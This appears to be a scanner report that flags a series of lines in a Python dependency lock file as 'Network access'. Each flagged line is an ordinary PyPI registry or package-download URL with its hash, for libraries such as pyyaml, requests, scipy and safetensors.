  • Network accessline 1364
    sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3
  • Network accessline 1365
    wheels = [     { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136df
  • Network accessline 1366
    { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7
  • Network accessline 1370
    name = "pytorch-lightning" version = "2.6.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1371
    version = "2.6.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1372
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1381
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/52/2c/8e73a3929b4c4bd600cafd38a97aaf7242a8cf518fb9f33d27c274ec898f/pytorch_lightning-2.6.5.tar.gz", hash = "sha256:1c32cefa76a1a9c4c5250338272d961d1e
  • Network accessline 1382
    ] sdist = { url = "https://files.pythonhosted.org/packages/52/2c/8e73a3929b4c4bd600cafd38a97aaf7242a8cf518fb9f33d27c274ec898f/pytorch_lightning-2.6.5.tar.gz", hash = "sha256:1c32cefa76a1a9c4c5250338272d961d1e48b180e68396849efe128538ddb28e",
  • Network accessline 1383
    sdist = { url = "https://files.pythonhosted.org/packages/52/2c/8e73a3929b4c4bd600cafd38a97aaf7242a8cf518fb9f33d27c274ec898f/pytorch_lightning-2.6.5.tar.gz", hash = "sha256:1c32cefa76a1a9c4c5250338272d961d1e48b180e68396849efe128538ddb28e", s
  • Network accessline 1384
    wheels = [     { url = "https://files.pythonhosted.org/packages/8b/4d/5740c27110b83634d8491c3b5facf0111b3e554c3164f4fb953be9bddaf6/pytorch_lightning-2.6.5-py3-none-any.whl", hash = "sha256:62d9c8549b2278fedc3364f0a5607a56c6063d18635008f8cf3
  • Network accessline 1385
    { url = "https://files.pythonhosted.org/packages/8b/4d/5740c27110b83634d8491c3b5facf0111b3e554c3164f4fb953be9bddaf6/pytorch_lightning-2.6.5-py3-none-any.whl", hash = "sha256:62d9c8549b2278fedc3364f0a5607a56c6063d18635008f8cf3fae8d802b0d76",
  • Network accessline 1389
    name = "pytorch-metric-learning" version = "2.9.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1390
    version = "2.9.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1391
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1396
    { name = "tqdm" }, ] sdist = { url = "https://files.pythonhosted.org/packages/9b/80/6e61b1a91debf4c1b47d441f9a9d7fe2aabcdd9575ed70b2811474eb95c3/pytorch-metric-learning-2.9.0.tar.gz", hash = "sha256:27a626caf5e2876a0fd666605a78cb67ef7597e25
  • Network accessline 1397
    ] sdist = { url = "https://files.pythonhosted.org/packages/9b/80/6e61b1a91debf4c1b47d441f9a9d7fe2aabcdd9575ed70b2811474eb95c3/pytorch-metric-learning-2.9.0.tar.gz", hash = "sha256:27a626caf5e2876a0fd666605a78cb67ef7597e25d7a68c18053dd503830
  • Network accessline 1398
    sdist = { url = "https://files.pythonhosted.org/packages/9b/80/6e61b1a91debf4c1b47d441f9a9d7fe2aabcdd9575ed70b2811474eb95c3/pytorch-metric-learning-2.9.0.tar.gz", hash = "sha256:27a626caf5e2876a0fd666605a78cb67ef7597e25d7a68c18053dd50383070
  • Network accessline 1399
    wheels = [     { url = "https://files.pythonhosted.org/packages/46/7d/73ef5052f57b7720cad00e16598db3592a5ef4826745ffca67a2f085d4dc/pytorch_metric_learning-2.9.0-py3-none-any.whl", hash = "sha256:d51646006dc87168f00cf954785db133a4c5aac812538
  • Network accessline 1400
    { url = "https://files.pythonhosted.org/packages/46/7d/73ef5052f57b7720cad00e16598db3592a5ef4826745ffca67a2f085d4dc/pytorch_metric_learning-2.9.0-py3-none-any.whl", hash = "sha256:d51646006dc87168f00cf954785db133a4c5aac81253877248737aa42ef6
  • Network accessline 1404
    name = "pyyaml" version = "6.0.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1405
    version = "6.0.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d766233734
  • Network accessline 1406
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1407
    sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 13096
  • Network accessline 1408
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac2
  • Network accessline 1409
    { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee06
  • Network accessline 1410
    { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f
  • Network accessline 1411
    { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c
  • Network accessline 1412
    { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a
  • Network accessline 1413
    { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a63
  • Network accessline 1414
    { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075
  • Network accessline 1415
    { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe8
  • Network accessline 1416
    { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size 
  • Network accessline 1417
    { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", s
  • Network accessline 1418
    { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", s
  • Network accessline 1422
    name = "requests" version = "2.34.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1423
    version = "2.34.2" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1424
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1429
    { name = "urllib3" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104
  • Network accessline 1430
    ] sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 
  • Network accessline 1431
    sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 14
  • Network accessline 1432
    wheels = [     { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e
  • Network accessline 1433
    { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 
  • Network accessline 1437
    name = "rich" version = "15.0.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1438
    version = "15.0.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1439
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1442
    { name = "pygments" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c
  • Network accessline 1443
    ] sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 2306
  • Network accessline 1444
    sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680
  • Network accessline 1445
    wheels = [     { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0b
  • Network accessline 1446
    { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 3106
  • Network accessline 1450
    name = "safetensors" version = "0.8.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1451
    version = "0.8.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/45/06/f955dbbb1859e3bd23c8ac6141af5106e7ad5fedec4a3a6e3d60f94b7001/safetensors-0.8.0.tar.gz", hash = "sha256:fabaf
  • Network accessline 1452
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1453
    sdist = { url = "https://files.pythonhosted.org/packages/45/06/f955dbbb1859e3bd23c8ac6141af5106e7ad5fedec4a3a6e3d60f94b7001/safetensors-0.8.0.tar.gz", hash = "sha256:fabaf3e0f18a6618d9b36560682562157f77c2b71fcffc7b432be2baed9d753d", size = 
  • Network accessline 1454
    wheels = [     { url = "https://files.pythonhosted.org/packages/39/a0/f718cda65b05407d228f97602cf60dca269c979867aa5beb25410de26cd3/safetensors-0.8.0-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c554f85858e05226d3c2828e32395e677434685
  • Network accessline 1455
    { url = "https://files.pythonhosted.org/packages/39/a0/f718cda65b05407d228f97602cf60dca269c979867aa5beb25410de26cd3/safetensors-0.8.0-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c554f85858e05226d3c2828e32395e677434685d6d94594a416433
  • Network accessline 1456
    { url = "https://files.pythonhosted.org/packages/f5/b1/fa7c600e7dceae12e9606c7578cbc9ff1e1ed55844883ee5c92205e86226/safetensors-0.8.0-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:c80201d22cbf405b80647a60ada77bba06c8fba2da2743ba1e89cdcc
  • Network accessline 1457
    { url = "https://files.pythonhosted.org/packages/09/7d/65a7de0af421317bb36a067241e4235fff194eed60b961ed6d3f59a3fc60/safetensors-0.8.0-cp310-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7a46e5ff292c356d6991e60942ba7
  • Network accessline 1458
    { url = "https://files.pythonhosted.org/packages/91/4f/3175c9d75634e0e0dda0082794193521035edd7c70a6f212bf33ca06ddf4/safetensors-0.8.0-cp310-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4124502b78f03534117c848f87a39b8
  • Network accessline 1459
    { url = "https://files.pythonhosted.org/packages/20/87/846c289e7aa2299eff406335717cf43ce8777194ece8aad75772e0411615/safetensors-0.8.0-cp310-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7bc0a787ba8a35be368ee3574edfa
  • Network accessline 1460
    { url = "https://files.pythonhosted.org/packages/76/22/8d64d9df2c45d5ded401df889d0ad90882804ca172d79ec4f0df8f727fe0/safetensors-0.8.0-cp310-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:040070828e36dc8e122178bbbd5830ff9
  • Network accessline 1461
    { url = "https://files.pythonhosted.org/packages/28/50/f203ff3a3ddfe19308efc83c5a3a29ed02bf786732ec35e68bf9162f3365/safetensors-0.8.0-cp310-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd6f3f93c9a0a7cc2788ee63fb76335
  • Network accessline 1462
    { url = "https://files.pythonhosted.org/packages/46/fb/cdaed17ceb2948784fd9c36b6fd3e951b608547cea81a48e8ee6f8cfdfcb/safetensors-0.8.0-cp310-abi3-manylinux_2_31_riscv64.whl", hash = "sha256:fcdd41ec4628fee5799f807c73c353629130fbd942aa23d83c6
  • Network accessline 1463
    { url = "https://files.pythonhosted.org/packages/0d/49/1e15de264dcc3b77943d2d0c56a95809956883b1c2d6d585c792523f180b/safetensors-0.8.0-cp310-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8e9f537aa183a38ace122d27303dcd986b26bd2
  • Network accessline 1464
    { url = "https://files.pythonhosted.org/packages/2a/43/bf38443278eab4b1be1fce2931e2b012ad9cb7df52ada751d0aab8f7659a/safetensors-0.8.0-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:87eec7ffed2b809f05a398a8becb7d013f19f7837cd15d974858
  • Network accessline 1465
    { url = "https://files.pythonhosted.org/packages/72/e3/68cd3fa5b48488e84add63e04cb12f3bc28ae4638c06d4508c6e88823d0e/safetensors-0.8.0-cp310-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:4a95ae2b05d7726d751da4ebf626a2ca782b706e101bd894c95bc
  • Network accessline 1466
    { url = "https://files.pythonhosted.org/packages/29/4b/1c19c509d56e01f4fbb3d0a2e597450f6cc04d1d56cf52defb0a62dfd715/safetensors-0.8.0-cp310-abi3-musllinux_1_2_i686.whl", hash = "sha256:3ae091f16662658bdc019a4ff6cb4c085bb7d725eb5978b183ffd26
  • Network accessline 1467
    { url = "https://files.pythonhosted.org/packages/27/43/41c1621732edd934d868a00d1b891584c892a7b62a9aab82ea5a0a5623ee/safetensors-0.8.0-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8e080062fcde23be189565e1c3305d16751a218ecf9412c8601e6
  • Network accessline 1468
    { url = "https://files.pythonhosted.org/packages/8e/3f/73ccf82579412b4a71c4ca673f10b5f1f888d7cf5af7fe24f27d30307be4/safetensors-0.8.0-cp310-abi3-win32.whl", hash = "sha256:2ddf52eac562eda224f99acfa7889d02968c1fd59a5b011ae7d8137c37e9c02d", s
  • Network accessline 1469
    { url = "https://files.pythonhosted.org/packages/1b/6d/3fba214c1e5e0f69991677ec3bc17023f0421776975e1de0c682dca475e2/safetensors-0.8.0-cp310-abi3-win_amd64.whl", hash = "sha256:096ec1a98435df7beb08853bb5aa9081a84f23d0adc67ed1a0a10550f608373f
  • Network accessline 1470
    { url = "https://files.pythonhosted.org/packages/8d/fc/7eedc3510d97878876e32774eebbeb61c43f148a96e915c84229a3e967aa/safetensors-0.8.0-cp310-abi3-win_arm64.whl", hash = "sha256:f7838e5135a406ad3e02efdcb8cf2e5397d368b0154537c4fec682dbc544d452
  • Network accessline 1474
    name = "scikit-learn" version = "1.9.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1475
    version = "1.9.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1476
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1482
    { name = "threadpoolctl" }, ] sdist = { url = "https://files.pythonhosted.org/packages/fa/6f/37092bdb25f712817231799fc5674d8e704066a8a70c1d2d40517e18b4ab/scikit_learn-1.9.0.tar.gz", hash = "sha256:8833266989d3a5110178a9fae30783675460724d0e1
  • Network accessline 1483
    ] sdist = { url = "https://files.pythonhosted.org/packages/fa/6f/37092bdb25f712817231799fc5674d8e704066a8a70c1d2d40517e18b4ab/scikit_learn-1.9.0.tar.gz", hash = "sha256:8833266989d3a5110178a9fae30783675460724d0e1efb13b14901d2c660c557", size
  • Network accessline 1484
    sdist = { url = "https://files.pythonhosted.org/packages/fa/6f/37092bdb25f712817231799fc5674d8e704066a8a70c1d2d40517e18b4ab/scikit_learn-1.9.0.tar.gz", hash = "sha256:8833266989d3a5110178a9fae30783675460724d0e1efb13b14901d2c660c557", size =
  • Network accessline 1485
    wheels = [     { url = "https://files.pythonhosted.org/packages/3c/01/cf3310626b6d48d3e9be69a1223f9180360b5e6edb045f50fade723ce494/scikit_learn-1.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:80746d63bd4b6eaca54d36fe5feaf4d28bb38
  • Network accessline 1486
    { url = "https://files.pythonhosted.org/packages/3c/01/cf3310626b6d48d3e9be69a1223f9180360b5e6edb045f50fade723ce494/scikit_learn-1.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:80746d63bd4b6eaca54d36fe5feaf4d28bb38dc6f9470f81c7ca
  • Network accessline 1487
    { url = "https://files.pythonhosted.org/packages/3e/04/5acd7ae280c5f93b6ac5ef6cdec14eef4c8d1cd91d85b3292989c94d96b1/scikit_learn-1.9.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:5b934c45c252844a91d69fda3a34cff5e7307e1db10d77cb10a398
  • Network accessline 1488
    { url = "https://files.pythonhosted.org/packages/0c/39/ffe829a5b8ecb40a518724a997794657fdc354ada5e8fe8e64d998c0bac9/scikit_learn-1.9.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:38c3dcb9a1ffb85505ec53d54c
  • Network accessline 1489
    { url = "https://files.pythonhosted.org/packages/1f/88/8dab5de10c638c083772a6be83a3d8106ced492f74a928c8693638e5bb50/scikit_learn-1.9.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da76d09304a4706db7cc1e3ebaa3
  • Network accessline 1490
    { url = "https://files.pythonhosted.org/packages/20/3f/7917ca72464038f6240ec70c29f94862d08a34a74291ae4d4ec5eb8186a0/scikit_learn-1.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:5808d98f15c6bf6d9d96d2348c1997392a5888ce7097e664105f930c4bca12
  • Network accessline 1491
    { url = "https://files.pythonhosted.org/packages/78/c7/15739eb2f61fda3c54639e9942414e5a19ad8a8d1f5a3266afad7cb7df80/scikit_learn-1.9.0-cp313-cp313-win_arm64.whl", hash = "sha256:d77f54c017633791bc0225a43e2f8d03745fdcfe4880268fcc4df15f505dec
  • Network accessline 1495
    name = "scipy" version = "1.18.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1496
    version = "1.18.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1497
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1499
    { name = "numpy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/7e/74/66de6258867beb2ef08f35f9f2ac017a52cacd5081714d239ff1a442d458/scipy-1.18.1.tar.gz", hash = "sha256:52c4b7422442aba924d03ad4019852b08a92e64ea187b933135687bfe
  • Network accessline 1500
    ] sdist = { url = "https://files.pythonhosted.org/packages/7e/74/66de6258867beb2ef08f35f9f2ac017a52cacd5081714d239ff1a442d458/scipy-1.18.1.tar.gz", hash = "sha256:52c4b7422442aba924d03ad4019852b08a92e64ea187b933135687bfe2747307", size = 307
  • Network accessline 1501
    sdist = { url = "https://files.pythonhosted.org/packages/7e/74/66de6258867beb2ef08f35f9f2ac017a52cacd5081714d239ff1a442d458/scipy-1.18.1.tar.gz", hash = "sha256:52c4b7422442aba924d03ad4019852b08a92e64ea187b933135687bfe2747307", size = 30781
  • Network accessline 1502
    wheels = [     { url = "https://files.pythonhosted.org/packages/b6/55/4540ee0f9c42a9ad7109d0d1a8cc70de54c3572b01c6693a2b1c70e90ceb/scipy-1.18.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:3ab3523da44749156e1f68b464dc56af11ae4cbc5c7
  • Network accessline 1503
    { url = "https://files.pythonhosted.org/packages/b6/55/4540ee0f9c42a9ad7109d0d1a8cc70de54c3572b01c6693a2b1c70e90ceb/scipy-1.18.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:3ab3523da44749156e1f68b464dc56af11ae4cbc5c739a49d05f32b982
  • Network accessline 1504
    { url = "https://files.pythonhosted.org/packages/2a/f5/769f36d14922b8071a43e95d24d18b6bdafad10d7f5cf647867e1ac052bc/scipy-1.18.1-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:e6fb6a55cc0ba97b59a1f288fb86dc6fce8bdfc0fffcbfd015e3a954bf2a
  • Network accessline 1505
    { url = "https://files.pythonhosted.org/packages/9a/d7/21d890274f75ea37a8209d5519e72da3da90302e3b9fb8397a0918386a62/scipy-1.18.1-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:ea324d9dd34c38bfb9bec8ca4d1b407db97dbb74029f566b8e322b1b6fe5
  • Network accessline 1506
    { url = "https://files.pythonhosted.org/packages/ec/01/798430ecea2e78ec7c02663d5f71c007bb6abeca931080debd40d7fa55ea/scipy-1.18.1-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:75b00eb8fb802090aa903f4ea1c7f5a584779f967361e68b7e98e531cc2
  • Network accessline 1507
    { url = "https://files.pythonhosted.org/packages/e6/5f/4634e9d35c68496e4e34cb6946eafab044458e6cedab42b40b6588e475b6/scipy-1.18.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d416b16cccfd70fbf62400e84d0bb2f4
  • Network accessline 1508
    { url = "https://files.pythonhosted.org/packages/41/48/6450ed9243315322bbc19ac57b9b70d66a20bf1d38d124c96bc4bf6af9ea/scipy-1.18.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fdaf5ea890a6183d0565f51a61799d6708
  • Network accessline 1509
    { url = "https://files.pythonhosted.org/packages/00/bd/bf5a4be6a3525676499f6dff307991739ff6fdcad1481b1aeb6745339f58/scipy-1.18.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c825cef2f49e46753726a7181a8e199804a912b29519ada542c6ebc6
  • Network accessline 1510
    { url = "https://files.pythonhosted.org/packages/bd/4e/3c45c33e00a77996c4b1cb707929f833ba7b1d522ee29f882512c330676d/scipy-1.18.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e3b417bf8c2c7c16e8f58ad91db17783ec911ac16e7b50eb6eab6e809
  • Network accessline 1511
    { url = "https://files.pythonhosted.org/packages/93/0e/e0348fbc0dbab65c114cf78957e7dfeb49f8e8b556b4d930cc12ff195e18/scipy-1.18.1-cp313-cp313-win_amd64.whl", hash = "sha256:559ed65f60c1af5a03f3912605a1b5114f522c7c32fb23c3376ae8f03219fe28", s
  • Network accessline 1512
    { url = "https://files.pythonhosted.org/packages/50/a8/6a77f5f267c555108f0a864b6db714363dab567a8266422a79a385f9232b/scipy-1.18.1-cp313-cp313-win_arm64.whl", hash = "sha256:cd479fc04dd9401e3b4f49e76518768ef99c4f517a98c284eb091fd725719adf", s
  • Network accessline 1516
    name = "setuptools" version = "84.0.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1517
    version = "84.0.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6d/44/f5da03a8ef95d369145c5bb53050e7877c9f3d312e128605fd9504829143/setuptools-84.0.0.tar.gz", hash = "sha256:f469
  • Network accessline 1518
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1519
    sdist = { url = "https://files.pythonhosted.org/packages/6d/44/f5da03a8ef95d369145c5bb53050e7877c9f3d312e128605fd9504829143/setuptools-84.0.0.tar.gz", hash = "sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73", size = 
  • Network accessline 1520
    wheels = [     { url = "https://files.pythonhosted.org/packages/95/9c/c510029fc6ef33a6275cd2c5d3cecd6613dfd6aa401d57c54f1c18852ccf/setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d135267893113
  • Network accessline 1521
    { url = "https://files.pythonhosted.org/packages/95/9c/c510029fc6ef33a6275cd2c5d3cecd6613dfd6aa401d57c54f1c18852ccf/setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670", size 
  • Network accessline 1525
    name = "six" version = "1.17.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1526
    version = "1.17.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468
  • Network accessline 1527
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1528
    sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, 
  • Network accessline 1529
    wheels = [     { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c
  • Network accessline 1530
    { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 1
  • Network accessline 1534
    name = "sortedcontainers" version = "2.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1535
    version = "2.4.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:
  • Network accessline 1536
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1537
    sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", si
  • Network accessline 1538
